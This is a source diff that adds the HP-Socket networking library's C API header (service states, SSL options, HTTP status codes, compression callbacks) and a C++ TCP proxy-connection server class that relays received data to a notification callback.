HPSOCKET_API void HP_Destroy_Compressor(IHPCompressor* pCompressor);
/* 销毁解压器对象 */
HPSOCKET_API void HP_Destroy_Decompressor(IHPDecompressor* pDecompressor);
#ifdef _ZLIB_SUPPORT
/* 创建 ZLib 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_ZLibCompressor(Fn_CompressDataCallback fnCallback, int iWindowBits = 15, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_GZipCompressor(Fn_CompressDataCallback fnCallback, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 ZLib 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_ZLibDecompressor(Fn_DecompressDataCallback fnCallback, int iWindowBits = 15, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_GZipDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif
#ifdef _BROTLI_SUPPORT
/* 创建 Brotli 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_BrotliCompressor(Fn_CompressDataCallback fnCallback, int iQuality = 11, int iWindow = 22, int iMode = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 Brotli 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_BrotliDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif

View File

@@ -0,0 +1,594 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
/* HP-Socket 版本号 */
#define HP_VERSION_MAJOR 6 // 主版本号
#define HP_VERSION_MINOR 0 // 子版本号
#define HP_VERSION_REVISE 3 // 修正版本号
#define HP_VERSION_BUILD 1 // 构建编号
//#define _UDP_DISABLED // 禁用 UDP
//#define _SSL_DISABLED // 禁用 SSL
//#define _HTTP_DISABLED // 禁用 HTTP
//#define _ZLIB_DISABLED // 禁用 ZLIB
//#define _BROTLI_DISABLED // 禁用 BROTLI
/* 是否启用 UDP如果定义了 _UDP_DISABLED 则禁用(默认:启用) */
#if !defined(_UDP_DISABLED)
#ifndef _UDP_SUPPORT
#define _UDP_SUPPORT
#endif
#endif
/* 是否启用 SSL如果定义了 _SSL_DISABLED 则禁用(默认:启用) */
#if !defined(_SSL_DISABLED)
#ifndef _SSL_SUPPORT
#define _SSL_SUPPORT
#endif
#endif
/* 是否启用 HTTP如果定义了 _HTTP_DISABLED 则禁用(默认:启用) */
#if !defined(_HTTP_DISABLED)
#ifndef _HTTP_SUPPORT
#define _HTTP_SUPPORT
#endif
#endif
/* 是否启用 ZLIB如果定义了 _ZLIB_DISABLED 则禁用(默认:启用) */
#if !defined(_ZLIB_DISABLED)
#ifndef _ZLIB_SUPPORT
#define _ZLIB_SUPPORT
#endif
#endif
/* 是否启用 BROTLI如果定义了 _BROTLI_DISABLED 则禁用(默认:启用) */
#if !defined(_BROTLI_DISABLED)
#ifndef _BROTLI_SUPPORT
#define _BROTLI_SUPPORT
#endif
#endif
/**************************************************/
/********** imports / exports HPSocket4C **********/
#ifdef HPSOCKET_STATIC_LIB
#define HPSOCKET_API EXTERN_C
#else
#ifdef HPSOCKET_EXPORTS
#define HPSOCKET_API EXTERN_C __declspec(dllexport)
#else
#define HPSOCKET_API EXTERN_C __declspec(dllimport)
#endif
#endif
#define __HP_CALL __stdcall
/*****************************************************************************************************************************************************/
/**************************************************************** Base Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
typedef const BYTE* LPCBYTE, PCBYTE;
typedef ULONG_PTR TID, THR_ID, NTHR_ID, PID, PRO_ID;
/************************************************************************
名称:连接 ID 数据类型
描述:应用程序可以把 CONNID 定义为自身需要的类型ULONG / ULONGLONG
************************************************************************/
typedef ULONG_PTR CONNID, HP_CONNID;
/************************************************************************
名称:通信组件服务状态
描述:应用程序可以通过通信组件的 GetState() 方法获取组件当前服务状态
************************************************************************/
typedef enum EnServiceState
{
SS_STARTING = 0, // 正在启动
SS_STARTED = 1, // 已经启动
SS_STOPPING = 2, // 正在停止
SS_STOPPED = 3, // 已经停止
} En_HP_ServiceState;
/************************************************************************
名称Socket 操作类型
描述:应用程序的 OnClose() 事件中通过该参数标识是哪种操作导致的错误
************************************************************************/
typedef enum EnSocketOperation
{
SO_UNKNOWN = 0, // Unknown
SO_ACCEPT = 1, // Acccept
SO_CONNECT = 2, // Connect
SO_SEND = 3, // Send
SO_RECEIVE = 4, // Receive
SO_CLOSE = 5, // Close
} En_HP_SocketOperation;
/************************************************************************
名称:事件处理结果
描述:事件的返回值,不同的返回值会影响通信组件的后续行为
************************************************************************/
typedef enum EnHandleResult
{
HR_OK = 0, // 成功
HR_IGNORE = 1, // 忽略
HR_ERROR = 2, // 错误
} En_HP_HandleResult;
/************************************************************************
名称:数据抓取结果
描述:数据抓取操作的返回值
************************************************************************/
typedef enum EnFetchResult
{
FR_OK = 0, // 成功
FR_LENGTH_TOO_LONG = 1, // 抓取长度过大
FR_DATA_NOT_FOUND = 2, // 找不到 ConnID 对应的数据
} En_HP_FetchResult;
/************************************************************************
名称:数据发送策略
描述Server 组件和 Agent 组件的数据发送策略
* 打包发送策略(默认) :尽量把多个发送操作的数据组合在一起发送,增加传输效率
* 安全发送策略 :尽量把多个发送操作的数据组合在一起发送,并控制传输速度,避免缓冲区溢出
* 直接发送策略 :对每一个发送操作都直接投递,适用于负载不高但要求实时性较高的场合
************************************************************************/
typedef enum EnSendPolicy
{
SP_PACK = 0, // 打包模式(默认)
SP_SAFE = 1, // 安全模式
SP_DIRECT = 2, // 直接模式
} En_HP_SendPolicy;
/************************************************************************
名称OnSend 事件同步策略
描述Server 组件和 Agent 组件的 OnSend 事件同步策略
* 不同步(默认) :不同步 OnSend 事件,可能同时触发 OnReceive 和 OnClose 事件
* 同步 OnClose :只同步 OnClose 事件,可能同时触发 OnReceive 事件
* 同步 OnReceive :(只用于 TCP 组件)同步 OnReceive 和 OnClose 事件,不可能同时触发 OnReceive 或 OnClose 事件
************************************************************************/
typedef enum EnOnSendSyncPolicy
{
OSSP_NONE = 0, // 不同步(默认)
OSSP_CLOSE = 1, // 同步 OnClose
OSSP_RECEIVE = 2, // 同步 OnReceive只用于 TCP 组件)
} En_HP_OnSendSyncPolicy;
/************************************************************************
名称:地址重用选项
描述:通信组件底层 socket 的地址重用选项
************************************************************************/
typedef enum EnReuseAddressPolicy
{
RAP_NONE = 0, // 不重用
RAP_ADDR_ONLY = 1, // 仅重用地址
RAP_ADDR_AND_PORT = 2, // 重用地址和端口
} En_HP_ReuseAddressPolicy;
/************************************************************************
名称:操作结果代码
描述:组件 Start() / Stop() 方法执行失败时,可通过 GetLastError() 获取错误代码
************************************************************************/
typedef enum EnSocketError
{
SE_OK = NO_ERROR, // 成功
SE_ILLEGAL_STATE = 1, // 当前状态不允许操作
SE_INVALID_PARAM = 2, // 非法参数
SE_SOCKET_CREATE = 3, // 创建 SOCKET 失败
SE_SOCKET_BIND = 4, // 绑定 SOCKET 失败
SE_SOCKET_PREPARE = 5, // 设置 SOCKET 失败
SE_SOCKET_LISTEN = 6, // 监听 SOCKET 失败
SE_CP_CREATE = 7, // 创建完成端口失败
SE_WORKER_THREAD_CREATE = 8, // 创建工作线程失败
SE_DETECT_THREAD_CREATE = 9, // 创建监测线程失败
SE_SOCKE_ATTACH_TO_CP = 10, // 绑定完成端口失败
SE_CONNECT_SERVER = 11, // 连接服务器失败
SE_NETWORK = 12, // 网络错误
SE_DATA_PROC = 13, // 数据处理错误
SE_DATA_SEND = 14, // 数据发送失败
SE_GC_START = 15, // 垃圾回收启动失败
/***** SSL Socket 扩展操作结果代码 *****/
SE_SSL_ENV_NOT_READY = 101, // SSL 环境未就绪
} En_HP_SocketError;
/************************************************************************
名称:播送模式
描述UDP 组件的播送模式(组播或广播)
************************************************************************/
typedef enum EnCastMode
{
CM_UNICAST = -1, // 单播
CM_MULTICAST = 0, // 组播
CM_BROADCAST = 1, // 广播
} En_HP_CastMode;
/************************************************************************
名称IP 地址类型
描述IP 地址类型枚举值
************************************************************************/
typedef enum EnIPAddrType
{
IPT_ALL = 0, // 所有
IPT_IPV4 = 1, // IPv4
IPT_IPV6 = 2, // IPv6
} En_HP_IPAddrType;
/************************************************************************
名称IP 地址条目结构体
描述IP 地址的地址簇/地址值结构体
************************************************************************/
typedef struct TIPAddr
{
En_HP_IPAddrType type;
LPCTSTR address;
} *LPTIPAddr, HP_TIPAddr, *HP_LPTIPAddr;
/************************************************************************
名称:拒绝策略
描述:调用被拒绝后的处理策略
************************************************************************/
typedef enum EnRejectedPolicy
{
TRP_CALL_FAIL = 0, // 立刻返回失败
TRP_WAIT_FOR = 1, // 等待(直到成功、超时或线程池关闭等原因导致失败)
TRP_CALLER_RUN = 2, // 调用者线程直接执行
} En_HP_RejectedPolicy;
/************************************************************************
名称:任务缓冲区类型
描述TSockeTask 对象创建和销毁时,根据不同类型的缓冲区类型作不同的处理
************************************************************************/
typedef enum EnTaskBufferType
{
TBT_COPY = 0, // 深拷贝
TBT_REFER = 1, // 浅拷贝
TBT_ATTACH = 2, // 附属(不负责创建,但负责销毁)
} En_HP_TaskBufferType;
/************************************************************************
名称:任务处理函数
描述:任务处理入口函数
参数pvArg -- 自定义参数
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_TaskProc)(PVOID pvArg);
typedef Fn_TaskProc HP_Fn_TaskProc;
struct TSocketTask;
/************************************************************************
名称Socket 任务处理函数
描述Socket 任务处理入口函数
参数pTask -- Socket 任务结构体指针
返回值:(无)
************************************************************************/
typedef VOID (__HP_CALL *Fn_SocketTaskProc)(struct TSocketTask* pTask);
typedef Fn_SocketTaskProc HP_Fn_SocketTaskProc;
/************************************************************************
名称Socket 任务结构体
描述:封装 Socket 任务相关数据结构
************************************************************************/
typedef struct TSocketTask
{
HP_Fn_SocketTaskProc fn; // 任务处理函数
PVOID sender; // 发起对象
CONNID connID; // 连接 ID
LPCBYTE buf; // 数据缓冲区
INT bufLen; // 数据缓冲区长度
En_HP_TaskBufferType bufType; // 缓冲区类型
WPARAM wparam; // 自定义参数
LPARAM lparam; // 自定义参数
} *LPTSocketTask, HP_TSocketTask, *HP_LPTSocketTask;
/************************************************************************
名称:获取 HPSocket 版本号
描述版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
************************************************************************/
inline DWORD GetHPSocketVersion()
{
return (HP_VERSION_MAJOR << 24) | (HP_VERSION_MINOR << 16) | (HP_VERSION_REVISE << 8) | HP_VERSION_BUILD;
}
/*****************************************************************************************************************************************************/
/**************************************************************** SSL Type Definitions ***************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _SSL_SUPPORT
/************************************************************************
名称SSL 工作模式
描述:标识 SSL 的工作模式,客户端模式或服务端模式
************************************************************************/
typedef enum EnSSLSessionMode
{
SSL_SM_CLIENT = 0, // 客户端模式
SSL_SM_SERVER = 1, // 服务端模式
} En_HP_SSLSessionMode;
/************************************************************************
名称SSL 验证模式
描述SSL 验证模式选项SSL_VM_PEER 可以和后面两个选项组合一起
************************************************************************/
typedef enum EnSSLVerifyMode
{
SSL_VM_NONE = 0x00, // SSL_VERIFY_NONE
SSL_VM_PEER = 0x01, // SSL_VERIFY_PEER
SSL_VM_FAIL_IF_NO_PEER_CERT = 0x02, // SSL_VERIFY_FAIL_IF_NO_PEER_CERT
SSL_VM_CLIENT_ONCE = 0x04, // SSL_VERIFY_CLIENT_ONCE
} En_HP_SSLVerifyMode;
/************************************************************************
名称SSL Session 信息类型
描述:用于 GetSSLSessionInfo(),标识输出的 Session 信息类型
************************************************************************/
typedef enum EnSSLSessionInfo
{
SSL_SSI_MIN = 0, //
SSL_SSI_CTX = 0, // SSL CTX 输出类型SSL_CTX*
SSL_SSI_CTX_METHOD = 1, // SSL CTX Mehtod 输出类型SSL_METHOD*
SSL_SSI_CTX_CIPHERS = 2, // SSL CTX Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CTX_CERT_STORE = 3, // SSL CTX Cert Store 输出类型X509_STORE*
SSL_SSI_SERVER_NAME_TYPE = 4, // Server Name Type 输出类型int
SSL_SSI_SERVER_NAME = 5, // Server Name 输出类型LPCSTR
SSL_SSI_VERSION = 6, // SSL Version 输出类型LPCSTR
SSL_SSI_METHOD = 7, // SSL Method 输出类型SSL_METHOD*
SSL_SSI_CERT = 8, // SSL Cert 输出类型X509*
SSL_SSI_PKEY = 9, // SSL Private Key 输出类型EVP_PKEY*
SSL_SSI_CURRENT_CIPHER = 10, // SSL Current Cipher 输出类型SSL_CIPHER*
SSL_SSI_CIPHERS = 11, // SSL Available Ciphers输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_CLIENT_CIPHERS = 12, // SSL Client Ciphers 输出类型STACK_OF(SSL_CIPHER)*
SSL_SSI_PEER_CERT = 13, // SSL Peer Cert 输出类型X509*
SSL_SSI_PEER_CERT_CHAIN = 14, // SSL Peer Cert Chain 输出类型STACK_OF(X509)*
SSL_SSI_VERIFIED_CHAIN = 15, // SSL Verified Chain 输出类型STACK_OF(X509)*
SSL_SSI_MAX = 15, //
} En_HP_SSLSessionInfo;
/************************************************************************
名称SNI 服务名称回调函数
描述:根据服务器名称选择 SSL 证书
参数:
lpszServerName -- 服务器名称(域名)
返回值:
0 -- 成功,使用默认 SSL 证书索引
正数 -- 成功,使用返回值对应的 SNI 主机证书索引
负数 -- 失败,中断 SSL 握手
************************************************************************/
typedef int (__HP_CALL *Fn_SNI_ServerNameCallback)(LPCTSTR lpszServerName, PVOID pContext);
typedef Fn_SNI_ServerNameCallback HP_Fn_SNI_ServerNameCallback;
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** HTTP Type Definitions **************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
/************************************************************************
名称HTTP 版本
描述:低字节:主版本号,高字节:次版本号
************************************************************************/
typedef enum EnHttpVersion
{
HV_1_0 = MAKEWORD(1, 0), // HTTP/1.0
HV_1_1 = MAKEWORD(1, 1) // HTTP/1.1
} En_HP_HttpVersion;
/************************************************************************
名称URL 域
描述HTTP 请求行中 URL 段位的域定义
************************************************************************/
typedef enum EnHttpUrlField
{
HUF_SCHEMA = 0, // Schema
HUF_HOST = 1, // Host
HUF_PORT = 2, // Port
HUF_PATH = 3, // Path
HUF_QUERY = 4, // Query String
HUF_FRAGMENT = 5, // Fragment
HUF_USERINFO = 6, // User Info
HUF_MAX = 7, // (Field Count)
} En_HP_HttpUrlField;
/************************************************************************
名称HTTP 解析结果标识
描述:指示 HTTP 解析器是否继续执行解析操作
************************************************************************/
typedef enum EnHttpParseResult
{
HPR_OK = 0, // 解析成功
HPR_SKIP_BODY = 1, // 跳过当前请求 BODY仅用于 OnHeadersComplete 事件)
HPR_UPGRADE = 2, // 升级协议(仅用于 OnHeadersComplete 事件)
HPR_ERROR = -1, // 解析错误,终止解析,断开连接
} En_HP_HttpParseResult;
/************************************************************************
名称HTTP 协议升级类型
描述:标识 HTTP 升级为哪种协议
************************************************************************/
typedef enum EnHttpUpgradeType
{
HUT_NONE = 0, // 没有升级
HUT_WEB_SOCKET = 1, // WebSocket
HUT_HTTP_TUNNEL = 2, // HTTP 隧道
HUT_UNKNOWN = -1, // 未知类型
} En_HP_HttpUpgradeType;
/************************************************************************
名称HTTP 状态码
描述HTTP 标准状态码
************************************************************************/
typedef enum EnHttpStatusCode
{
HSC_CONTINUE = 100,
HSC_SWITCHING_PROTOCOLS = 101,
HSC_PROCESSING = 102,
HSC_EARLY_HINTS = 103,
HSC_RESPONSE_IS_STALE = 110,
HSC_REVALIDATION_FAILED = 111,
HSC_DISCONNECTED_OPERATION = 112,
HSC_HEURISTIC_EXPIRATION = 113,
HSC_MISCELLANEOUS_WARNING = 199,
HSC_OK = 200,
HSC_CREATED = 201,
HSC_ACCEPTED = 202,
HSC_NON_AUTHORITATIVE_INFORMATION = 203,
HSC_NO_CONTENT = 204,
HSC_RESET_CONTENT = 205,
HSC_PARTIAL_CONTENT = 206,
HSC_MULTI_STATUS = 207,
HSC_ALREADY_REPORTED = 208,
HSC_TRANSFORMATION_APPLIED = 214,
HSC_IM_USED = 226,
HSC_MISCELLANEOUS_PERSISTENT_WARNING = 299,
HSC_MULTIPLE_CHOICES = 300,
HSC_MOVED_PERMANENTLY = 301,
HSC_MOVED_TEMPORARILY = 302,
HSC_SEE_OTHER = 303,
HSC_NOT_MODIFIED = 304,
HSC_USE_PROXY = 305,
HSC_SWITCH_PROXY = 306,
HSC_TEMPORARY_REDIRECT = 307,
HSC_PERMANENT_REDIRECT = 308,
HSC_BAD_REQUEST = 400,
HSC_UNAUTHORIZED = 401,
HSC_PAYMENT_REQUIRED = 402,
HSC_FORBIDDEN = 403,
HSC_NOT_FOUND = 404,
HSC_METHOD_NOT_ALLOWED = 405,
HSC_NOT_ACCEPTABLE = 406,
HSC_PROXY_AUTHENTICATION_REQUIRED = 407,
HSC_REQUEST_TIMEOUT = 408,
HSC_CONFLICT = 409,
HSC_GONE = 410,
HSC_LENGTH_REQUIRED = 411,
HSC_PRECONDITION_FAILED = 412,
HSC_REQUEST_ENTITY_TOO_LARGE = 413,
HSC_REQUEST_URI_TOO_LONG = 414,
HSC_UNSUPPORTED_MEDIA_TYPE = 415,
HSC_REQUESTED_RANGE_NOT_SATISFIABLE = 416,
HSC_EXPECTATION_FAILED = 417,
HSC_IM_A_TEAPOT = 418,
HSC_PAGE_EXPIRED = 419,
HSC_ENHANCE_YOUR_CALM = 420,
HSC_MISDIRECTED_REQUEST = 421,
HSC_UNPROCESSABLE_ENTITY = 422,
HSC_LOCKED = 423,
HSC_FAILED_DEPENDENCY = 424,
HSC_UNORDERED_COLLECTION = 425,
HSC_UPGRADE_REQUIRED = 426,
HSC_PRECONDITION_REQUIRED = 428,
HSC_TOO_MANY_REQUESTS = 429,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE_UNOFFICIAL = 430,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE = 431,
HSC_LOGIN_TIMEOUT = 440,
HSC_NO_RESPONSE = 444,
HSC_RETRY_WITH = 449,
HSC_BLOCKED_BY_PARENTAL_CONTROL = 450,
HSC_UNAVAILABLE_FOR_LEGAL_REASONS = 451,
HSC_CLIENT_CLOSED_LOAD_BALANCED_REQUEST = 460,
HSC_INVALID_X_FORWARDED_FOR = 463,
HSC_REQUEST_HEADER_TOO_LARGE = 494,
HSC_SSL_CERTIFICATE_ERROR = 495,
HSC_SSL_CERTIFICATE_REQUIRED = 496,
HSC_HTTP_REQUEST_SENT_TO_HTTPS_PORT = 497,
HSC_INVALID_TOKEN = 498,
HSC_CLIENT_CLOSED_REQUEST = 499,
HSC_INTERNAL_SERVER_ERROR = 500,
HSC_NOT_IMPLEMENTED = 501,
HSC_BAD_GATEWAY = 502,
HSC_SERVICE_UNAVAILABLE = 503,
HSC_GATEWAY_TIMEOUT = 504,
HSC_HTTP_VERSION_NOT_SUPPORTED = 505,
HSC_VARIANT_ALSO_NEGOTIATES = 506,
HSC_INSUFFICIENT_STORAGE = 507,
HSC_LOOP_DETECTED = 508,
HSC_BANDWIDTH_LIMIT_EXCEEDED = 509,
HSC_NOT_EXTENDED = 510,
HSC_NETWORK_AUTHENTICATION_REQUIRED = 511,
HSC_WEB_SERVER_UNKNOWN_ERROR = 520,
HSC_WEB_SERVER_IS_DOWN = 521,
HSC_CONNECTION_TIMEOUT = 522,
HSC_ORIGIN_IS_UNREACHABLE = 523,
HSC_TIMEOUT_OCCURED = 524,
HSC_SSL_HANDSHAKE_FAILED = 525,
HSC_INVALID_SSL_CERTIFICATE = 526,
HSC_RAILGUN_ERROR = 527,
HSC_SITE_IS_OVERLOADED = 529,
HSC_SITE_IS_FROZEN = 530,
HSC_IDENTITY_PROVIDER_AUTHENTICATION_ERROR = 561,
HSC_NETWORK_READ_TIMEOUT = 598,
HSC_NETWORK_CONNECT_TIMEOUT = 599,
HSC_UNPARSEABLE_RESPONSE_HEADERS = 600
} En_HP_HttpStatusCode;
/************************************************************************
名称Name/Value 结构体
描述:字符串名值对结构体
************************************************************************/
typedef struct TNVPair
{
LPCSTR name;
LPCSTR value;
} HP_TNVPair,
TParam, HP_TParam, *LPPARAM, *HP_LPPARAM,
THeader, HP_THeader, *LPHEADER, *HP_LPHEADER,
TCookie, HP_TCookie, *LPCOOKIE, *HP_LPCOOKIE;
#endif
/*****************************************************************************************************************************************************/
/********************************************************** Compress / Decompress Definitions ********************************************************/
/*****************************************************************************************************************************************************/
/************************************************************************
名称:数据回调函数
描述:回调处理过程中产生的数据输出
参数:
pData -- 数据缓冲区
iLength -- 数据长度
pContext -- 回调上下文
返回值:
TRUE -- 成功
FALSE -- 失败
************************************************************************/
typedef BOOL (__HP_CALL *Fn_DataCallback)(const BYTE* pData, int iLength, PVOID pContext);
typedef Fn_DataCallback Fn_CompressDataCallback;
typedef Fn_DataCallback Fn_DecompressDataCallback;
typedef Fn_DataCallback HP_Fn_DataCallback;
typedef Fn_DataCallback HP_Fn_CompressDataCallback;
typedef Fn_DataCallback HP_Fn_DecompressDataCallback;

View File

@@ -0,0 +1,222 @@
#include "stdafx.h"
#include "ProxyConnectServer.h"
#define MAX_SEND_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> 1024*64
#define MAX_RECV_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this)
{
Mprintf("CProxyConnectServer\r\n");
m_bIsRun = TRUE;
m_dwIndex = 0;
memset(m_IDs, 0, sizeof(m_IDs));
}
CProxyConnectServer::~CProxyConnectServer(void)
{
if (m_TcpServer->GetState() != SS_STOPPED)
m_TcpServer->Stop();
while (m_TcpServer->GetState() != SS_STOPPED) {
Sleep(300);
}
Mprintf("~CProxyConnectServer\r\n");
}
BOOL CProxyConnectServer::Initialize(NOTIFYPROC pNotifyProc, void*user, int nMaxConnections, int nPort)
{
m_nMaxConnection = nMaxConnections;
m_TcpServer->SetMaxConnectionCount(nMaxConnections);
m_TcpServer->SetSendPolicy(SP_DIRECT);
m_TcpServer->SetNoDelay(TRUE);
m_pNotifyProc = pNotifyProc;
m_pUser = user;
m_nPort = nPort;
m_bStop = FALSE;
return m_TcpServer->Start(_T("0.0.0.0"), nPort);
}
EnHandleResult CProxyConnectServer::OnPrepareListen(ITcpServer* pSender, SOCKET soListen)
{
SYS_SSO_SendBuffSize(soListen, MAX_SEND_BUFFER);
SYS_SSO_RecvBuffSize(soListen, MAX_RECV_BUFFER);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient)
{
if (!m_bIsRun)return HR_ERROR;
ClientContext* pContext = NULL;
{
m_Locker.lock();
if (!m_listFreePool.IsEmpty()) {
pContext = m_listFreePool.RemoveHead();
}
else {
pContext = new(std::nothrow) ClientContext;
}
m_Locker.unlock();
}
if (pContext == NULL)
return HR_ERROR;
pContext->InitMember();
pContext->m_Socket = dwConnID;
char szAddress[64] = {};
int iAddressLen = sizeof(szAddress);
USHORT usPort = 0;
pSender->GetRemoteAddress(dwConnID, szAddress, iAddressLen, usPort);
Mprintf("CProxyConnectServer: new connection %s:%d\n", szAddress, usPort);
pContext->ID = dwConnID;
m_TcpServer->SetConnectionExtra(dwConnID, pContext);
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_CONNECT);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength)
{
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength)
{
ClientContext* pContext = NULL;
if ((!m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext)) && (pContext != nullptr) && (iLength <= 0))
return HR_ERROR;
PBYTE pData = new BYTE[iLength];
m_TcpServer->Fetch(dwConnID, pData, iLength);
pContext->InDeCompressedBuffer.ClearBuffer();
BYTE bToken = COMMAND_PROXY_DATA;
pContext->InDeCompressedBuffer.Write(&bToken, sizeof(bToken));
pContext->InDeCompressedBuffer.Write((LPBYTE)&pContext->ID, sizeof(DWORD));
pContext->InDeCompressedBuffer.Write((PBYTE)pData, iLength);
SAFE_DELETE_ARRAY(pData);
m_pNotifyProc(m_pUser, pContext, NC_RECEIVE);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode)
{
ClientContext* pContext = NULL;
if (m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext) && pContext != nullptr)
m_TcpServer->SetConnectionExtra(dwConnID, NULL);
if (!pContext)
return HR_OK;
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_DISCONNECT);
pContext->InCompressedBuffer.ClearBuffer();
pContext->InDeCompressedBuffer.ClearBuffer();
pContext->OutCompressedBuffer.ClearBuffer();
m_Locker.lock();
m_listFreePool.AddTail(pContext);
m_Locker.unlock();
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnShutdown(ITcpServer* pSender)
{
return HR_OK;
}
BOOL CProxyConnectServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
if (pContext == NULL)
return FALSE;
BOOL rt = FALSE;;
if (nSize > 0 && m_bIsRun) {
pContext->OutCompressedBuffer.Write(lpData, nSize);
rt = SendWithSplit(pContext->m_Socket, pContext->OutCompressedBuffer.GetBuffer(0),
pContext->OutCompressedBuffer.GetBufferLength(), MAX_SEND_BUFFER);
pContext->OutCompressedBuffer.ClearBuffer();
}
return rt;
}
BOOL CProxyConnectServer::SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nSend = 0;
UINT nSendRetry = 0;
BOOL rt = TRUE;
if (nSize >= nSplitSize) {
UINT i = 0;
nSendRetry = nSize / nSplitSize;
for (i = 0; i < nSendRetry; i++) {
rt = m_TcpServer->Send(dwConnID, lpData, nSplitSize);
if (!rt)
return rt;
lpData += nSplitSize;
nSend += nSplitSize;
}
if (nSize - nSend < nSplitSize) {
if (nSize - nSend > 0) {
rt = m_TcpServer->Send(dwConnID, lpData, nSize - nSend);
if (!rt)
return rt;
}
}
} else {
rt = m_TcpServer->Send(dwConnID, lpData, nSize);
if (!rt)
return rt;
}
return TRUE;
}
void CProxyConnectServer::Shutdown()
{
DWORD dwCount = 65535;
CONNID *pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
Disconnect(pIDs[i]);
}
}
m_TcpServer->Stop();
m_bIsRun = FALSE;
while (m_TcpServer->GetState() != SS_STOPPED)
Sleep(10);
m_Locker.lock();
while (!m_listFreePool.IsEmpty())
delete m_listFreePool.RemoveTail();
m_Locker.unlock();
SAFE_DELETE_ARRAY(pIDs);
}
void CProxyConnectServer::ClearClient()
{
DWORD dwCount = 65535;
CONNID* pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
m_TcpServer->Disconnect(pIDs[i]);
}
}
SAFE_DELETE_ARRAY(pIDs);
}
BOOL CProxyConnectServer::Disconnect(CONNID dwConnID)
{
m_TcpServer->Disconnect(dwConnID);
return 0;
}
BOOL CProxyConnectServer::IsConnected(CONNID dwConnID)
{
return m_TcpServer->IsConnected(dwConnID);
}
BOOL CProxyConnectServer::IsOverMaxConnectionCount()
{
return (m_TcpServer->GetConnectionCount() > (DWORD)m_nMaxConnection);
}

View File

@@ -0,0 +1,51 @@
#pragma once
#include "HPSocket.h"
#include "SocketInterface.h"
#include "Buffer.h"
#include <IOCPServer.h>
#define NC_CLIENT_CONNECT 0x0001
#define NC_CLIENT_DISCONNECT 0x0002
#define NC_TRANSMIT 0x0003
#define NC_RECEIVE 0x0004
typedef void (CALLBACK* NOTIFYPROC)(void* user, ClientContext* ctx, UINT nCode);
typedef CList<ClientContext*, ClientContext* > ContextList;
class CProxyConnectServer :public CTcpPullServerListener
{
public:
CProxyConnectServer(void);
~CProxyConnectServer(void);
BOOL Initialize(NOTIFYPROC pNotifyProc, void* user, int nMaxConnections, int nPort);
BOOL Send(ClientContext* pContext, LPBYTE lpData, UINT nSize);
BOOL SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize);
void Shutdown();
void ClearClient();
BOOL Disconnect(CONNID dwConnID);
BOOL IsConnected(CONNID dwConnID);
